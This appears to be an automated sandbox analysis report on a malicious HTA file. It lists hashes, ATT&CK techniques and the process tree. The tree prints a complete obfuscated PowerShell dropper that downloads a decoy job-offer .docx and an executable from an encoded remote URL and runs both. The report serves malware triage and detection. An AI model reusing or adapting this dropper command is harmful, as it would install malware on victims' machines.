1965c93b0ffdb18abb184528e4f9b90a43586cfa8c08a7f5f5bcd8ad8f90a302

General

Target

Xteam30.hta
Size

22KB
MD5

e4d9fac46b74d05a7110d922393c53b5
SHA1

58e4466d4db0e9dbeeba589e785c095da4be28b7
SHA256

1965c93b0ffdb18abb184528e4f9b90a43586cfa8c08a7f5f5bcd8ad8f90a302
SHA512

2859aa9dcce959e03ca99731ec74a04cc439fa9494a208677e1e471c702369ef72151f8d11dbc25c4001b9dc0d7b956c6526d324ea0c1336cdf6505e347cff54
SSDEEP

384:AewZKDUSPiVrmsDe8OCuCLfiOEUgPge2uwb7Gw7D+fFU0:fwuKNACtfiOEUgPge2uwb7GoD+e0

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

5 2592 powershell.exe
6 2592 powershell.exe
7 2592 powershell.exe
8 2592 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Start PowerShell.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2592 powershell.exe
2592 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
5	2592	powershell.exe
6	2592	powershell.exe
7	2592	powershell.exe
8	2592	powershell.exe

pid	process
2592	powershell.exe
2592	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

mshta.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2592 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2592 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2592	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 1304 wrote to memory of 2592	1304	mshta.exe	powershell.exe
PID 1304 wrote to memory of 2592	1304	mshta.exe	powershell.exe
PID 1304 wrote to memory of 2592	1304	mshta.exe	powershell.exe
PID 1304 wrote to memory of 2592	1304	mshta.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Xteam30.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1304
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function KvGmHPuFs($BcqxEK, $vyAKkT){[IO.File]::WriteAllBytes($BcqxEK, $vyAKkT)};function rfZIzUy($BcqxEK){if($BcqxEK.EndsWith((urRcG @(30019,30073,30081,30081))) -eq $True){Start-Process (urRcG @(30087,30090,30083,30073,30081,30081,30024,30023,30019,30074,30093,30074)) $BcqxEK}else{Start-Process $BcqxEK}};function KcAYN($lUPLD){$wxpeRK = New-Object (urRcG @(30051,30074,30089,30019,30060,30074,30071,30040,30081,30078,30074,30083,30089));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$vyAKkT = $wxpeRK.DownloadData($lUPLD);return $vyAKkT};function urRcG($CxcNOM){$UaHeSgZ=29973;$GKoHyynK=$Null;foreach($rNwOIvboe in $CxcNOM){$GKoHyynK+=[char]($rNwOIvboe-$UaHeSgZ)};return $GKoHyynK};function bPsceQMIo(){$nXOFGcK = $env:APPDATA + '\';$zLOPnasH = KcAYN (urRcG @(30077,30089,30089,30085,30088,30031,30020,30020,30089,30085,30023,30019,30026,30074,30074,30019,30082,30094,30089,30074,30082,30085,30019,30092,30074,30071,30088,30078,30089,30074,30020,30074,30087,30087,30084,30087,30020,30047,30084,30078,30083,30005,30052,30090,30087,30005,30057,30074,30070,30082,30005,30070,30088,30005,30070,30005,30053,30070,30078,30073,30005,30038,30073,30091,30074,30087,30089,30078,30088,30078,30083,30076,30005,30056,30085,30074,30072,30078,30070,30081,30078,30088,30089,30019,30073,30084,30072,30093));$ZiEwaK = $nXOFGcK + 'Join Our Team as a Paid Advertising Specialist.docx';KvGmHPuFs $ZiEwaK $zLOPnasH;rfZIzUy $ZiEwaK;;$KVjfmFmM = KcAYN (urRcG @(30077,30089,30089,30085,30088,30031,30020,30020,30089,30085,30023,30019,30026,30074,30074,30019,30082,30094,30089,30074,30082,30085,30019,30092,30074,30071,30088,30078,30089,30074,30020,30074,30087,30087,30084,30087,30020,30061,30089,30074,30070,30082,30024,30021,30019,30074,30093,30074));$EfTHHfXB = $nXOFGcK + 'Xteam30.exe';KvGmHPuFs $EfTHHfXB $KVjfmFmM;rfZIzUy $EfTHHfXB;;;}bPsceQMIo;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592